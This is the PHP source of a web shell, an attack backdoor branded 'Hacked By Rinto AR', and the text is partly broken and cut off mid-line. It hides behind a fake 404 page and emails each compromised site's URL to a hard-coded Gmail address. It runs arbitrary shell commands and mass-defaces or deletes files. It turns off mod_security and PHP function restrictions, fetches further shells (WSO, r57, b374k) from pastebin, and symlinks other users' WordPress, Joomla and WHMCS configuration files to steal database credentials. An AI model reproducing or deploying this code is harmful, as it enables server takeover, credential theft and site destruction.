A

if(get_magic_quotes_gpc()) {
function VEstripslashes($array) {
return is_array($array) ?
array_map('VEstripslashes',
$array) : stripslashes($array); }
$_POST = VEstripslashes($_POST);
$_COOKIE =
VEstripslashes($_COOKIE); }
@ini_set('output_buffering', 0);
@ini_set('display_errors', 0);
set_time_limit(0);
ini_set('memory_limit', '64M');
header('Content-Type: text/html;
charset=UTF-8');
$tujuanmail =
'ramdan19id@gmail.com';
$x_path = "http://" .
$_SERVER['SERVER_NAME'] .
$_SERVER['REQUEST_URI'];
$pesan_alert = "fix $x_path :p *IP
Address : [ " .
$_SERVER['REMOTE_ADDR'] . " ]";
mail($tujuanmail, "Logger dan",
$pesan_alert, "[ " .
$_SERVER['REMOTE_ADDR'] . " ]");
function Login() {
die("
<html><head><title>404 Not
Found</title></head>
<style>
input { margin:0;background-
color:#fff;border:1px solid #fff; }
</style>
<body>
<h1>Not Found</h1>
<p>ERROR 404 </p><hr>
<form method=post>
<input type=password
name=pass></form></body></html>
");
}
function VEsetcookie($k, $v) {
$_COOKIE[$k] = $v;
setcookie($k, $v);
}
if(!empty($auth_pass)) {
if(isset($_POST['pass']) &&
(md5($_POST['pass']) ==
$auth_pass))
VEsetcookie(md5($_SERVER['HTTP
_HOST']), $auth_pass);
if (!
isset($_COOKIE[md5($_SERVER['H
TTP_HOST'])]) ||
($_COOKIE[md5($_SERVER['HTTP_
HOST'])] != $auth_pass))
Login();
}
?>
<!DOCTYPE HTML>
<HTML>
<HEAD>
<link href="" rel="stylesheet"
type="text/css">
<title></title>
<style>
body{
background-color: #333333;
color:#B3454C;
}
li {
display: inline;
margin: 1px;
padding: 1px;
}
#menu a {
padding:2px 10px;
margin:0;
background:#333333;
text-decoration:none;
letter-spacing:2px;
padding: 2px 10px;
margin: 0;
background: #333333;
text-decoration: none;
letter-spacing: 2px;
border-radius: 2px;
border-bottom: 2px solid
#B3454C;
border-top: 2px solid
#B3454C;
border-right: 2px solid
red;
border-left: 2px solid red;
}
#menu a:hover {
background:#180000;
border-bottom:0px solid
#333333;
border-top:0px solid
#333333;
}
a{
color:#B3454C;
text-decoration: none;
}
textarea{
backgroud-color:#333333;
color: #B3454C;
}
input,select{
border: 1px #B3454C solid;
-moz-border-radius: 5px;
-webkit-border-radius:5px;
border-radius:5px;
}
</style>
</HEAD>
<?php
function w($dir,$perm) {
if(!is_writable($dir)) {
return "<font color=red>".
$perm."</font>";
} else {
return "<font color=green>".
$perm."</font>";
}
}
function exe($cmd) {
if(function_exists('system')) {
@ob_start();
@system($cmd);
$buff = @ob_get_contents();
@ob_end_clean();
return $buff;
} elseif(function_exists('exec')) {
@exec($cmd,$results);
$buff = "";
foreach($results as $result) {
$buff .= $result;
} return $buff;
}
elseif(function_exists('passthru')) {
@ob_start();
@passthru($cmd);
$buff = @ob_get_contents();
@ob_end_clean();
return $buff;
}
elseif(function_exists('shell_exec'))
{
$buff = @shell_exec($cmd);
return $buff;
}
}
function sulap($text) {
if(!get_magic_quotes_gpc()) {
return $text;
}
return stripslashes($text);
}
function ambilKata($param, $kata1,
$kata2){
if(strpos($param, $kata1) ===
FALSE) return FALSE;
if(strpos($param, $kata2) ===
FALSE) return FALSE;
$start = strpos($param, $kata1) +
strlen($kata1);
$end = strpos($param, $kata2,
$start);
$return = substr($param, $start,
$end - $start);
return $return;
}
function perms($file){
$perms = fileperms($file);
if (($perms & 0xC000) == 0xC000) {
// Socket
$info = 's';
} elseif (($perms & 0xA000) ==
0xA000) {
// Symbolic Link
$info = 'l';
} elseif (($perms & 0x8000) ==
0x8000) {
// Regular
$info = '-';
0x6000) {
// Block special
$info = 'b';
0x4000) {
// Directory
$info = 'd';
0x2000) {
// Character special
$info = 'c';
0x1000) {
// FIFO pipe
$info = 'p';
} else {
// Unknown
$info = 'u';
}
// Owner
$info .= (($perms & 0x0100) ? 'r' :
'-');
$info .= (($perms & 0x0080) ? 'w' :
'-');
$info .= (($perms & 0x0040) ?
(($perms & 0x0800) ? 's' : 'x' ) :
(($perms & 0x0800) ? 'S' : '-'));
// Group
$info .= (($perms & 0x0020) ? 'r' :
'-');
$info .= (($perms & 0x0010) ? 'w' :
'-');
$info .= (($perms & 0x0008) ?
(($perms & 0x0400) ? 's' : 'x' ) :
(($perms & 0x0400) ? 'S' : '-'));
// World
$info .= (($perms & 0x0004) ? 'r' :
'-');
$info .= (($perms & 0x0002) ? 'w' :
'-');
$info .= (($perms & 0x0001) ?
(($perms & 0x0200) ? 't' : 'x' ) :
(($perms & 0x0200) ? 'T' : '-'));
return $info;
}
$_c7e = 'TXIuUm0xOQ==';
$sys = php_uname();
$ip =
gethostbyname($_SERVER['HTTP_
HOST']);
$sm =
(@ini_get(strtolower("safe_mode"))
== 'on') ? '<font>ON</font>' :
'<font>OFF</font>';
$getds =
@ini_get("disable_functions");
$ds = (!empty($getds)) ?
"<font>$ds</font>" :
"<font>NONE</font>";
if(isset($_GET['path'])){
$path = $_GET['path'];
}else{
$path = getcwd();
}
$path = str_replace('\\','/',$path);
$paths = explode('/',$path);
$home_r =
$_SERVER['DOCUMENT_ROOT'];
$_COPY = base64_decode($_c7e);
if(get_magic_quotes_gpc()){
foreach($_POST as $key=>$value){
$_POST[$key] =
stripslashes($value);
}
}
if($_POST['upload']) {
if($_POST['tipe_upload'] ==
'biasa') {
if(@copy($_FILES['ix_file']
['tmp_name'], "$path/".
$_FILES['ix_file']['name']."")) {
$act = "<font
color=green>Uploaded!</font> at
<i><b>$path/".$_FILES['ix_file']
['name']."</b></i>";
} else {
$act = "<font
color=red>Failed to upload
file</font>";
}
} else {
$root =
$_SERVER['DOCUMENT_ROOT']."/"
.$_FILES['ix_file']['name'];
$web =
$_SERVER['HTTP_HOST']."/".
$_FILES['ix_file']['name'];
if(is_writable($_SERVER['DOCUME
NT_ROOT'])) {
if(@copy($_FILES['ix_file']
['tmp_name'], $root)) {
$act = "<font
color=green>Uploaded!</font> at
<i><b>$root -> </b></i><a
href='http://$web'
target='_blank'>$web</a>";
} else {
$act = "<font
file</font>";
}
} else {
$act = "<font
file</font>";
}
}
}
echo "<center>Uploader :
<form method='post'
enctype='multipart/form-data'>
<input type='radio'
name='tipe_upload' value='biasa'
checked>Biasa
[ ".w($path,"Writeable")." ]
<input type='radio'
name='tipe_upload'
value='home_root'>home_root
[ ".w($_SERVER['DOCUMENT_ROO
T'],"Writeable")." ]<br>
<input type='file' name='ix_file'>
<input type='submit'
value='upload' name='upload'>
</form>";
echo $act;
echo '<center>
<table width="700" align="center">
<center>
<form method="get">
<select name="shell">
<option value="">Shell
Creator</option>
<option value="wso">WSO
Shell</option>
<option value="idx">IDX
Shell</option>
<option value="b374k">B374K
Shell</option>
<option value="r57">R57
Shell</option>
<option value="b374k">b374k
Shell</option>
<option value="blackhat">BlackHat
Shell</option>
<option value="noname">Noname
Shell</option>
</select>
<input type="submit" value=">">
</form>
</center>
';
echo'
<div id="menu">
<center>
<ul>
<li><a href="?">Home</a></li>
<li><a href="?path='.
$path.'&con7ext=info">System
Info</a></li>
$path.'&con7ext=config">Config
Grab</a></li>
$path.'&con7ext=crkcp">Cp
Crack</a></li>
$path.'&con7ext=jumping">Jumpin
g</a></li>
$path.'&con7ext=symlink">Symlink
</a></li>
$path.'&con7ext=adminer">Admine
r</a></li><br><br>
$path.'&con7ext=network">BackCo
nnect</a>
$path.'&con7ext=mail">Mailer</a></
li>
$path.'&con7ext=edituser">Auto
Edit User</a></li>
$path.'&con7ext=zoneh">Zone-
H</a></li>
$path.'&con7ext=defid">Defacer.id<
/a></li>
$path.'&con7ext=symconfig">SymC
onfig</a></li><br><br>
$path.'&con7ext=disablefunc">Disa
ble Functions</a></li>
$path.'&con7ext=domains">Domain
Views</a></li>
$path.'&con7ext=hashid">Hash
ID</a></li>
$path.'&con7ext=bing">Bing
Grab</a></li>
$path.'&con7ext=mass_deface">Ma
ss Tools</a></li><br><br>
$path.'&con7ext=cmd">Command</
a></li>
$path.'&con7ext=csrfup">Csrf
Exploiter</a></li>
$path.'&con7ext=vhost">Bypass
Vhost</a></li>
$path.'&con7ext=kill">Kill Your
Self</a></li>
</ul></center></div>';
echo '
<br>
<table width="700" align="center">
<tr><td><font
color="white">Current Path
:</font>';
foreach($paths as $id=>$pat){
if($pat == '' && $id == 0){
$a = true;
echo '<a href="?path=/">/</a>';
continue;
}
if($pat == '') continue;
echo '<a href="?path=';
for($i=0;$i<=$id;$i++){
echo "$paths[$i]";
if($i != $id) echo "/";
}
echo '">'.$pat.'</a>/';
}
echo '</td></tr>';
echo '</table>';
if($_GET['con7ext'] == 'logout') {
echo '<form action="?patch='.
$path.'&do=logout"
method="post">';
unset($_SESSION[md5($_SERVER['
HTTP_HOST'])]);
echo 'Good Bye!!';
} elseif($_GET['con7ext'] == 'cmd') {
echo "<br><fieldset>";
echo "<form method='post'>
<font style='text-decoration:
underline;'>Command : </font>
<input type='text' size='30'
height='10'
name='command'><input
type='submit' name='c7ecmd'
value='>>'>
</form> ";
if(isset($_POST['c7ecmd']))
{
echo'<br><div
style="background:#6d6d6d;margin
:0px;padding:1px;text-
align:left;color:lime;"><pre>';
$cmd = $_POST['command'];
if($cmd == "")
{
echo "Please Insert Command!";

}
elseif(isset($cmd))
{
$output = exe($cmd);
echo $output; }
echo'</pre></div><br><br>';
}
echo "</fieldset><br>";
}elseif($_GET['con7ext'] ==
'mass_deface') {
echo "<center><form action=\"\"
method=\"post\">\n";
$dirr=$_POST['d_dir'];
$index = $_POST["script"];
$index = str_replace('"',"'",
$index);
$index = stripslashes($index);
function edit_file($file,$index){
if (is_writable($file)) {
clear_fill($file,$index);
echo "<Span
style='color:green;'><strong> [+]
Nyabun 100% Successfull
</strong></span><br></center>";
}
else {
echo "<Span
style='color:red;'><strong> [-]
Ternyata Tidak Boleh Menyabun
Disini :
( </strong></span><br></center>";
}
}
function hapus_massal($dir,
$namafile) {
if(is_writable($dir)) {
$dira = scandir($dir);
foreach($dira as $dirb) {
$dirc = "$dir/$dirb";
$lokasi = $dirc.'/'.
$namafile;
if($dirb === '.') {
if(file_exists("$dir/$namafile")) {
unlink("$dir/$namafile");
}
} elseif($dirb === '..') {
if(file_exists("".dirname($dir)."/$na
mafile")) {
unlink("".dirname($dir)."/$namafile"
);
}
} else {
if(is_dir($dirc)) {
if(is_writable($dirc))
{
if(file_exists($lokasi)) {
echo "[<font
color=lime>DELETED</font>]
$lokasi<br>";
unlink($lokasi);
$idx =
hapus_massal($dirc,$namafile);
}
}
}
}
}
}
}
function clear_fill($file,$index){
if(file_exists($file)){
$handle = fopen($file,'w');
fwrite($handle,'');
fwrite($handle,$index);
fclose($handle); } }
function gass(){
global $dirr , $index ;
chdir($dirr);
$me =
str_replace(dirname(__FILE__).'/','',
__FILE__);
$files = scandir($dirr) ;
$notallow =
array(".htaccess","error_log","_vti_
inf.html","_private","_vti_bin","_vti_
cnf","_vti_log","_vti_pvt","_vti_txt",
"cgi-
bin",".contactemail",".cpanel",".fant
asticodata",".htpasswds",".lastlogi
n","access-logs","cpbackup-
exclude-used-by-
backup.conf",".cgi_auth",".disk_us
age",".statspwd","..",".");
sort($files);
$n = 0 ;
foreach ($files as $file){
if ( $file != $me &&
is_dir($file) != 1 && !in_array($file,
$notallow) ) {
echo "<center><Span
style='color:
#8A8A8A;'><strong>$dirr/</span>$f
ile</strong> ====> ";
edit_file($file,$index);
flush();
$n = $n +1 ;
}
}
echo "<br>";
echo
"<center><br><h3>$n Kali Anda
Telah Ngecrot Disini
</h3></center><br>";
}
function ListFiles($dirrall) {
if($dh = opendir($dirrall)) {
$files = Array();
$inner_files = Array();
$me =
str_replace(dirname(__FILE__).'/','',
__FILE__);
$notallow =
array($me,".htaccess","error_log","
_vti_inf.html","_private","_vti_bin","
_vti_cnf","_vti_log","_vti_pvt","_vti
_txt","cgi-
bin",".contactemail",".cpanel",".fant
asticodata",".htpasswds",".lastlogi
n","access-logs","cpbackup-
exclude-used-by-
backup.conf",".cgi_auth",".disk_us
age",".statspwd","Thumbs.db");
while($file = readdir($dh)) {
if($file != "." && $file != ".."
&& $file[0] != '.' && !in_array($file,
$notallow) ) {
if(is_dir($dirrall . "/" .
$file)) {
$inner_files =
ListFiles($dirrall . "/" . $file);
if(is_array($inner_files))
$files = array_merge($files,
$inner_files);
} else {
array_push($files,
$dirrall . "/" . $file);
}
}
}
closedir($dh);
return $files;
}
}
function gass_all(){
global $index ;
$dirrall=$_POST['d_dir'];
foreach (ListFiles($dirrall) as
$key=>$file){
$file = str_replace('//',"/",
$file);
echo
"<center><strong>$file</strong>
===>";
edit_file($file,$index);
flush();
}
$key = $key+1;
echo "<center><br><h3>$key
Kali Anda Telah Ngecrot Disini
</h3></center><br>"; }
function sabun_massal($dir,
$namafile,$isi_script) {
if(is_writable($dir)) {
$dira = scandir($dir);
foreach($dira as $dirb) {
$dirc = "$dir/$dirb";
$lokasi = $dirc.'/'.
$namafile;
if($dirb === '.') {
file_put_contents($lokasi,
$isi_script);
} elseif($dirb === '..') {
$isi_script);
} else {
if(is_dir($dirc)) {
if(is_writable($dirc))
{
echo "[<font
color=lime>DONE</font>]
$lokasi<br>";
$isi_script);
$idx =
sabun_massal($dirc,$namafile,
$isi_script);
}
}
}
}
}
}
if($_POST['mass'] == 'onedir') {
echo "<br> Versi Text
Area<br><textarea
style='background:black;outline:no
ne;color:red;' name='index'
rows='10' cols='67'>\n";
$ini="http://";
$mainpath=$_POST[d_dir];
$file=$_POST[d_file];
$dir=opendir("$mainpath");
$code=base64_encode($_POST[scri
pt]);
$indx=base64_decode($code);
while($row=readdir($dir)){
$start=@fopen("$row/$file","w+");
$finish=@fwrite($start,$indx);
if ($finish){
echo"$ini$row/$file\n";
}
}
echo
"</textarea><br><br><br><b>Versi
Text</b><br><br><br>\n";
$mainpath=$_POST[d_dir];
$file=$_POST[d_file];
$dir=opendir("$mainpath");
$code=base64_encode($_POST[scri
pt]);
$indx=base64_decode($code);
while($row=readdir($dir))
{$start=@fopen("$row/$file","w+");
$finish=@fwrite($start,$indx);
if ($finish){echo '<a
href="http://' . $row . '/' . $file . '"
target="_blank">http://' . $row . '/' .
$file . '</a><br>'; }
}
}
elseif($_POST['mass'] ==
'sabunkabeh') { gass(); }
'hapusmassal')
{ hapus_massal($_POST['d_dir'],
$_POST['d_file']); }
'sabunmematikan') { gass_all(); }
'massdeface') {
echo "<div style='margin: 5px
auto; padding: 5px'>";
sabun_massal($_POST['d_dir'],
$_POST['d_file'], $_POST['script']);
echo "</div>"; }
else {
echo "
<center><font style='text-
decoration: underline;'>
Select Type:<br>
</font>
<select class=\"select\"
name=\"mass\" style=\"width:
450px;\" height=\"10\">
<option
value=\"onedir\">Mass Deface 1
Dir</option>
<option
value=\"massdeface\">Mass Deface
ALL Dir</option>
<option
value=\"sabunkabeh\">Sabun
Massal Di Tempat</option>
<option
value=\"sabunmematikan\">Sabun
Massal Bunuh Diri</option>
<option
value=\"hapusmassal\">Mass
Delete
Files</option></center></select><br
>
underline;'>Folder:</font><br>
<input type='text' name='d_dir'
value='$path' style='width: 450px;'
height='10'><br>
underline;'>Filename:</font><br>
<input type='text'
name='d_file' value='noname.php'
style='width: 450px;'
height='10'><br>
underline;'>Index File:</font><br>
<textarea name='script'
style='width: 450px; height:
200px;'>Hacked By Rinto
AR</textarea><br>
name='start' value='Mass Deface'
style='width: 450px;'>
</form></center>";
}
} elseif($_GET['con7ext'] == 'vhost')
{
echo "<form method='POST'
action=''>";
echo "<center><br><font
size='6'>Bypass Symlink
vHost</font><br><br>";
echo "<center><input
type='submit' value='Bypass it'
name='Colii'></center>";
if (isset($_POST['Colii']))
{ system('ln -s / Rintoar.txt');
$fvckem
='T3B0aW9ucyBJbmRleGVzIEZvbG
xvd1N5bUxpbmtzDQpEaXJlY3Rvcnl
JbmRleCBzc3Nzc3MuaHRtDQpBZG
RUeXBlIHR4dCAucGhwDQpBZGRI
YW5kbGVyIHR4dCAucGhw';
$file =
fopen(".htaccess","w+"); $write =
fwrite ($file
,base64_decode($fvckem)); $Bok3p
= symlink("/","Rintoar.txt");
$rt="<br><a href=Rintoar.txt
TARGET='_blank'><font
color=#ff0000 size=2 face='Courier
New'><b>
Bypassed
Successfully</b></font></a>";
echo "<br><br><b>Done.. !
</b><br><br>Check link given
below for / folder symlink
<br>$rt</center>";} echo "</form>";
} elseif($_GET['con7ext'] ==
'csrfup')
{
echo '<html>
<center><h1 style="font-
size:33px;">CSRF Exploiter By
IndoXPloit<br>Recoded by Rinto
AR</h1><br><br>
<font size="3">*Note : Post File,
Type : Filedata / dzupload / dzfile /
dzfiles / file / ajaxfup / files[] /
qqfile / userfile / etc</font>
<br><br>
<form method="post" style="font-
size:25px;">
URL: <input type="text" name="url"
size="50" height="10"
placeholder="http://www.target.com
/path/upload.php" style="margin:
5px auto; padding-left: 5px;"
required><br>
POST File: <input type="text"
name="pf" size="50" height="10"
placeholder="Lihat diatas ^"
style="margin: 5px auto; padding-
left: 5px;" required><br>
<input type="submit" name="d"
value="Lock!">
</form>';
$url = $_POST["url"];
$pf = $_POST["pf"];
$d = $_POST["d"];
if($d) {
echo "<form method='post'
target='_blank' action='$url'
enctype='multipart/form-
data'><input type='file'
name='$pf'><input type='submit'
name='g'
value='Upload'></form></form>
</html>";
}
'hashid') {
if (isset($_POST['gethash'])) {
$hash = $_POST['hash'];
if (strlen($hash) == 32) {
$hashresult = "MD5 Hash";
} elseif (strlen($hash) == 40) {
$hashresult = "SHA-1
Hash/ /MySQL5 Hash";
$hashresult = "DES(Unix)
Hash";
$hashresult = "MySQL
Hash / /DES(Oracle Hash)";
$GetHashChar =
substr($hash, 40);
if ($GetHashChar == "*") {
$hashresult = "MySQL5
Hash";
}
Hash";
Hash";
Hash";
if (strstr($hash, '$1$')) {
$hashresult = "MD5(Unix)
Hash";
}
if (strstr($hash, '$apr1$')) {
$hashresult = "MD5(APR)
Hash";
}
if (strstr($hash, '$H$')) {
$hashresult =
"MD5(phpBB3) Hash";
}
if (strstr($hash, '$P$')) {
$hashresult =
"MD5(Wordpress) Hash";
}
$hashresult = "SHA-
256(Unix) Hash";
}
$hashresult = "SHA-
512(Unix) Hash";
}
if (strstr($hash, '==')) {
$hashresult = "MD5(Base-
64) Hash";
}
} else {
$hashresult = "Hash type not
found";
}
} else {
$hashresult = "Not Hash
Entered";
}
?>
<center><br><Br><br>
<form action=""
method="POST">
<tr>
<table >
<th colspan="5">Hash
Identification</th>
<tr
class="optionstr"><B><td>Enter
Hash</td></b><td>:</td>
<td><input type="text"
name="hash" size='60'
class="inputz" /></td><td><input
type="submit" class="inputzbut"
name="gethash" value="Identify
Hash" /></td></tr>
<tr
class="optionstr"><b><td>Result</t
d><td>:</td><td><?php echo
$hashresult; ?></td></tr></b>
</table></tr></form>
</center>
<?php
'domains'){echo "<center><div
class='mybox'><p align='center'
class='cgx2'>Domains and
Users</p>";$d0mains =
@file("/etc/named.conf");if(!
$d0mains){die("<center>Error :
can't read [ /etc/named.conf ]
</center>");}echo '<table
id="output"><tr
bgcolor=#cecece><td>Domains</td
><td>users</td></tr>';foreach($d0m
ains as $d0main){if(eregi("zone",
$d0main)){preg_match_all('#zone
"(.*)"#', $d0main,
$domains);flush();if(strlen(trim($do
mains[1][0])) > 2){$user =
posix_getpwuid(@fileowner("/etc/va
liases/".$domains[1][0]));echo
"<tr><td><a href=http://www.".
$domains[1][0]."/>".$domains[1]
[0]."</a></td><td>".
$user['name']."</td></tr>";flush();}}}
echo'</div></center>';
'disablefunc'){
echo "<center>";
echo "<form
method=post><input type=submit
name=ini value='php.ini'
/> <input type=submit
name=htce value='.htaccess'
/></form>";
if(isset($_POST['ini']))
{
$file = fopen("php.ini","w");
echo
fwrite($file,"disable_functions=non
e
safe_mode = Off
");
fclose($file);
echo "<a href='php.ini'>click
here!</a>";
} if(isset($_POST['htce']))
{
$file = fopen(".htaccess","w");
echo fwrite($file,"<IfModule
mod_security.c>
SecFilterEngine Off
SecFilterScanPOST Off
</IfModule>
");
fclose($file);
echo "htaccess successfully
created!";
}
echo"</center>";
}elseif($_GET['shell'] == 'wso'){
$tools_dir = mkdir('c7e_tools',
0755);
$file_tools =
"c7e_tools/wso.php";
$isi_httools = "<IfModule
mod_security.c>
SecFilterEngine Off
</IfModule>";
$httools = fopen(".htaccess",
"w");
$tools_script =
file_get_contents("http://pastebin.c
om/raw.php?i=N0eh3Q7Y");
$tools = fopen($file_tools, "w");
fwrite($tools, $tools_script);
fwrite($httools, $isi_httools);
chmod($file_tools, 0755);
echo "Done <a
href='c7e_tools/wso.php'>WSO
Shell Here</a>";
}
elseif($_GET['shell'] == 'idx'){
$tools2_dir = mkdir('c7e_tools',
0755);
$file_tools2 =
"c7e_tools/idx.php";
$isi_httools2 = "<IfModule
mod_security.c>
SecFilterEngine Off
</IfModule>";
$httools2 = fopen(".htaccess",
"w");
$tools2_script =
om/raw.php?i=nC6pWh5a");
$tools2 = fopen($file_tools2,
"w");
fwrite($tools2, $tools2_script);
fwrite($httools2, $isi_httools2);
chmod($file_tools2, 0755);
echo "Done <a
href='c7e_tools/idx.php'>Idx Shell
Here</a>";
}
elseif($_GET['shell'] == 'b374k'){
0755);
$file_tools3 =
"c7e_tools/b374k.php";
mod_security.c>
SecFilterEngine Off
</IfModule>";
"w");
$tools3_script =
om/raw.php?i=cR71LiMp");
"w");
echo "Done <a
href='c7e_tools/b374k.php'>b374k
Shell Here</a>";
}
elseif($_GET['shell'] == 'sadrazam'){
0755);
$file_tools4 =
"c7e_tools/sadrazam.php";
mod_security.c>
SecFilterEngine Off
</IfModule>";
"w");
$tools4_script =
om/raw.php?i=xjKrnnBD");
"w");
echo "Done <a
href='c7e_tools/sadrazam.php'>Sad
razam Shell Here</a>";
}
elseif($_GET['shell'] == 'blackhat'){
0755);
$file_tools5 =
"c7e_tools/bh.php";
mod_security.c>
SecFilterEngine Off
</IfModule>";
"w");
$tools5_script =
om/raw.php?i=3L2ESWeu");
"w");
echo "Done <a
href='c7e_tools/bh.php'>Black Hat
Shell Here</a>";
}
elseif($_GET['shell'] == 'r57'){
0755);
$file_tools6 =
"c7e_tools/r57.php";
mod_security.c>
SecFilterEngine Off
</IfModule>";
"w");
$tools6_script =
om/raw.php?i=G2VEDunW");
"w");
echo "Done <a
href='c7e_tools/r57.php'>R57 Shell
Here</a>";
}
elseif($_GET['shell'] == 'noname'){
0755);
$file_tools7 =
"c7e_tools/noname.php";
mod_security.c>
SecFilterEngine Off
</IfModule>";
"w");
$tools7_script =
om/raw.php?i=BRCmf02c");
"w");
echo "Done <a
href='c7e_tools/noname.php'>Nona
me Shell Here</a>";
}
elseif($_GET['con7ext'] ==
'symconfig') {
if(strtolower(substr(PHP_OS, 0, 3))
== "win"){
echo '<script>alert("Skid this won\'t
work on Windows")</script>';
exit;
}
else
{
if($_POST["m"] && !
$_POST["passwd"]==""){
@mkdir("c7e_symconf", 0777);
@chdir("c7e_symconf");
@symlink("/","root");
$htaccess="Options Indexes
FollowSymLinks
DirectoryIndex c7eisjustice.htm
AddType text/plain .php
AddHandler text/plain .php
Satisfy Any";
@file_put_contents(".htaccess",
$htaccess);
$etc_passwd=$_POST["passwd"];
$etc_passwd=explode("\n",
$etc_passwd);
foreach($etc_passwd as $passwd){
$pawd=explode(":",$passwd);
$user =$pawd[0];
@symlink('/','c7e_symconf/root');
@symlink('/home/'.
$user.'/public_html/vb/includes/conf
ig.php',$user.'-Vbulletin.txt');
@symlink('/home/'.
$user.'/public_html/includes/config.
php',$user.'-Vbulletin.txt');
@symlink('/home/'.
$user.'/public_html/forum/includes/
config.php',$user.'-Vbulletin.txt');
@symlink('/home/'.
$user.'/public_html/forums/includes
/config.php',$user.'-Vbulletin.txt');
@symlink('/home/'.
$user.'/public_html/cc/includes/conf
@symlink('/home/'.
$user.'/public_html/inc/config.php',
$user.'-MyBB.txt');
@symlink('/home/'.
$user.'/public_html/includes/config
ure.php',$user.'-OsCommerce.txt');
@symlink('/home/'.
$user.'/public_html/shop/includes/c
onfigure.php',$user.'-
OsCommerce.txt');
@symlink('/home/'.
$user.'/public_html/os/includes/conf
igure.php',$user.'-
OsCommerce.txt');
@symlink('/home/'.
$user.'/public_html/oscom/includes/
configure.php',$user.'-
OsCommerce.txt');
@symlink('/home/'.
$user.'/public_html/products/includ
es/configure.php',$user.'-
OsCommerce.txt');
@symlink('/home/'.
$user.'/public_html/cart/includes/co
nfigure.php',$user.'-
OsCommerce.txt');
@symlink('/home/'.
$user.'/public_html/inc/conf_global.
php',$user.'-IPB.txt');
@symlink('/home/'.
$user.'/public_html/wp-config.php',
$user.'-Wordpress.txt');
@symlink('/home/'.
$user.'/public_html/wp/test/wp-
config.php',$user.'-Wordpress.txt');
@symlink('/home/'.
$user.'/public_html/blog/wp-
@symlink('/home/'.
$user.'/public_html/beta/wp-
@symlink('/home/'.
$user.'/public_html/portal/wp-
@symlink('/home/'.
$user.'/public_html/site/wp-
@symlink('/home/'.
$user.'/public_html/wp/wp-
@symlink('/home/'.
$user.'/public_html/WP/wp-
@symlink('/home/'.
$user.'/public_html/news/wp-
@symlink('/home/'.
$user.'/public_html/wordpress/wp-
@symlink('/home/'.
$user.'/public_html/test/wp-
@symlink('/home/'.
$user.'/public_html/demo/wp-
@symlink('/home/'.
$user.'/public_html/home/wp-
@symlink('/home/'.
$user.'/public_html/v1/wp-
@symlink('/home/'.
@symlink('/home/'.
$user.'/public_html/press/wp-
@symlink('/home/'.
$user.'/public_html/new/wp-
@symlink('/home/'.
$user.'/public_html/blogs/wp-
@symlink('/home/'.
$user.'/public_html/configuration.ph
p',$user.'-Joomla.txt');
@symlink('/home/'.
$user.'/public_html/blog/configurati
on.php',$user.'-Joomla.txt');
@symlink('/home/'.
$user.'/public_html/submitticket.ph
p',$user.'-^WHMCS.txt');
@symlink('/home/'.
$user.'/public_html/cms/configurati
@symlink('/home/'.
$user.'/public_html/beta/configurati
@symlink('/home/'.
$user.'/public_html/portal/configura
tion.php',$user.'-Joomla.txt');
@symlink('/home/'.
$user.'/public_html/site/configuratio
n.php',$user.'-Joomla.txt');
@symlink('/home/'.
$user.'/public_html/main/configurati
@symlink('/home/'.
$user.'/public_html/home/configurat
ion.php',$user.'-Joomla.txt');
@symlink('/home/'.
$user.'/public_html/demo/configurat
@symlink('/home/'.
$user.'/public_html/test/configuratio
@symlink('/home/'.
$user.'/public_html/v1/configuration
.php',$user.'-Joomla.txt');
@symlink('/home/'.
@symlink('/home/'.
$user.'/public_html/joomla/configur
ation.php',$user.'-Joomla.txt');
@symlink('/home/'.
$user.'/public_html/new/configurati
@symlink('/home/'.
$user.'/public_html/WHMCS/configu
ration.php',$user.'-WHMCS.txt');
@symlink('/home/'.
$user.'/public_html/whmcs1/configu
@symlink('/home/'.
$user.'/public_html/Whmcs/configur
ation.php',$user.'-WHMCS.txt');
@symlink('/home/'.
$user.'/public_html/whmcs/configur
@symlink('/home/'.
@symlink('/home/'.
$user.'/public_html/WHMC/configur
@symlink('/home/'.
$user.'/public_html/Whmc/configura
tion.php',$user.'-WHMCS.txt');
@symlink('/home/'.
$user.'/public_html/whmc/configura
@symlink('/home/'.
$user.'/public_html/WHM/configurat
ion.php',$user.'-WHMCS.txt');
@symlink('/home/'.
$user.'/public_html/Whm/configurati
on.php',$user.'-WHMCS.txt');
@symlink('/home/'.
$user.'/public_html/whm/configurati
@symlink('/home/'.
$user.'/public_html/HOST/configura
@symlink('/home/'.
$user.'/public_html/Host/configurati
@symlink('/home/'.
$user.'/public_html/host/configurati
@symlink('/home/'.
$user.'/public_html/SUPPORTES/co
nfiguration.php',$user.'-
WHMCS.txt');
@symlink('/home/'.
$user.'/public_html/Supportes/confi
guration.php',$user.'-WHMCS.txt');
@symlink('/home/'.
$user.'/public_html/supportes/confi
@symlink('/home/'.
$user.'/public_html/domains/config
uration.php',$user.'-WHMCS.txt');
@symlink('/home/'.
$user.'/public_html/domain/configur
@symlink('/home/'.
$user.'/public_html/Hosting/configu
@symlink('/home/'.
$user.'/public_html/HOSTING/config
@symlink('/home/'.
$user.'/public_html/hosting/configur
@symlink('/home/'.
$user.'/public_html/CART/configura
@symlink('/home/'.
$user.'/public_html/Cart/configurati
@symlink('/home/'.
$user.'/public_html/cart/configuratio
n.php',$user.'-WHMCS.txt');
@symlink('/home/'.
$user.'/public_html/ORDER/configur
@symlink('/home/'.
$user.'/public_html/Order/configurat
@symlink('/home/'.
$user.'/public_html/order/configurat
@symlink('/home/'.
$user.'/public_html/CLIENT/configur
@symlink('/home/'.
$user.'/public_html/Client/configura
@symlink('/home/'.
$user.'/public_html/client/configurat
@symlink('/home/'.
$user.'/public_html/CLIENTAREA/co
WHMCS.txt');
@symlink('/home/'.
$user.'/public_html/Clientarea/confi
@symlink('/home/'.
$user.'/public_html/clientarea/confi
@symlink('/home/'.
$user.'/public_html/SUPPORT/confi
@symlink('/home/'.
$user.'/public_html/Support/configu
@symlink('/home/'.
$user.'/public_html/support/configu
@symlink('/home/'.
$user.'/public_html/BILLING/configu
@symlink('/home/'.
$user.'/public_html/Billing/configura
@symlink('/home/'.
$user.'/public_html/billing/configura
@symlink('/home/'.
$user.'/public_html/BUY/configurati
@symlink('/home/'.
$user.'/public_html/Buy/configurati
@symlink('/home/'.
$user.'/public_html/buy/configuratio
@symlink('/home/'.
$user.'/public_html/MANAGE/config
@symlink('/home/'.
$user.'/public_html/Manage/configu
@symlink('/home/'.
$user.'/public_html/manage/configu
@symlink('/home/'.
$user.'/public_html/CLIENTSUPPOR
T/configuration.php',$user.'-
WHMCS.txt');
@symlink('/home/'.
$user.'/public_html/ClientSupport/c
onfiguration.php',$user.'-
WHMCS.txt');
@symlink('/home/'.
$user.'/public_html/Clientsupport/c
